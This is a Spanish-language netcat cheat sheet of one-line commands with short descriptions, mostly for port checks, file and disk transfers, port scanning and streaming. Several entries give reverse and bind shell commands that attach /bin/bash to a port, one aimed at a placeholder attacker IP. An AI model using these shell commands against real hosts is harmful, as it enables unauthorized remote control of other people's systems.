Netcat es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.
nc 10.0.0.10 80
probar si el puerto TCP remoto está abierto (-u para UDP)
nc -l 1234 configurar
un servidor TCP escuchando en el puerto 1234 (-u para UDP)
nc -k -l 1234
mantener el listener de netcat activo después de que muera la conexión actual
nc 10.0.0.10 1234
< my.tgz transferir un archivo al endpoint remoto usando netcat
cat my.tgz | nc
10.0.0.10 1234 transferir un archivo al endpoint remoto usando netcat
nc -l 1234 >
my.tgz recibir y guardar un archivo vía netcat
tar -cf - . | nc -v
10.0.0.10 1234 crear un tarball y enviarlo a netcat
nc -lv 1234 | tar
-xvf - recibir un tarball y extraerlo en el directorio actual
nc -z 10.0.0.10
1-1000 escanear un rango de puertos de un objetivo (ej. del 1 al 1000)
nc -z 10.0.0.10 1-100
200-300 escanear múltiples rangos de puertos
nc -vuz -w1 10.0.0.10
1-1000 escanear un rango de puertos UDP con un timeout de 1 segundo
printf "GET /
HTTP/1.0\r\n\r\n" | nc google.com 80 enviar una solicitud HTTP
nc
<ip-del-atacante> 4444 -e /bin/bash crear una shell inversa en el host
objetivo
nc -l 4444 -e
/bin/bash crear una shell bind en el host objetivo
nc -k -l 4444 -e
/bin/bash crear un listener persistente de netcat para una shell bind
nc -l 12345 -c
'uptime' ejecutar un comando y redirigir la salida al cliente
dd if=/dev/sdb | gzip
-c | nc 10.0.0.10 1234 transferir un disco duro comprimido
nc -l 1234 | sudo dd
of=/backup/sdb.img.gz guardar la imagen del disco duro transferido
while true; do nc -l
8000 < test.html; done servir una página web estática
mkdir /tmp/pipe; cat
video.mp4 > /tmp/pipe & nc -ul 12345 < /tmp/pipe
comenzar a transmitir
el video cuando el cliente se conecte
nc -u 10.0.0.10 12345
| mplayer - recibir y reproducir la transmisión de video con mplayer